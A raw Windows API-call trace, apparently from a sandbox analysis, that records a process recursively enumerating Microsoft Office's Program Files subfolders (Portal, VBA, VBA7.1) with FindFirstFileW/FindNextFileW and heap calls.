	[0164.739] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2616676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2616676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2b4d876, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b538, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1
	[0164.739] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a724e44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec8b0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1
	[0164.740] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26f8376, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc289be7e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="oregres.dll", cAlternateFileName="")) returned 1
	[0164.740] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdbcc0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1
	[0164.740] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x412b0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1
	[0164.740] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9c1af93, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14d50, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1
	[0164.740] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9c1af93, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14d50, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0
	[0164.740] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0164.740] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.740] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1
	[0164.740] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0164.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140698
	[0164.741] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.741] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0164.741] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.741] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140dd8
	[0164.741] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.741] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5088, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1
	[0164.741] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5088, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="PORTAL~1.DLL")) returned 0
	[0164.741] FindClose (in: hFindFile=0x4140dd8 | out: hFindFile=0x4140dd8) returned 1
	[0164.741] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.741] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1
	[0164.742] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 0
	[0164.742] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0164.742] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.742] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0164.742] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0164.742] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140698
	[0164.742] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.742] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA6", cAlternateFileName="")) returned 1
	[0164.742] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.742] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140a18
	[0164.742] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.742] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba88, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 1
	[0164.743] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba88, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 0
	[0164.743] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0164.743] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.743] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 1
	[0164.743] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.743] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140e58
	[0164.743] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.743] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0164.743] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4282998
	[0164.743] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\*", lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c18
	[0164.744] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.744] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f982, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FM20.CHM", cAlternateFileName="")) returned 1
	[0164.744] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc9b50c1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc9b50c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9b50c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a40b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1
	[0164.744] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1
	[0164.744] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1
	[0164.744] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe230b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1
	[0164.745] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca4da68, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca4da68, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca4da68, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1
	[0164.745] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc9db30a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc9db30a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1
	[0164.745] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc9db30a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc9db30a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0
	[0164.745] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0164.745] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0164.745] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0164.746] FindClose (in: hFindFile=0x4140e58 | out: hFindFile=0x4140e58) returned 1
	[0164.746] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.746] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0
	[0164.746] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0164.746] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.746] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0164.746] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
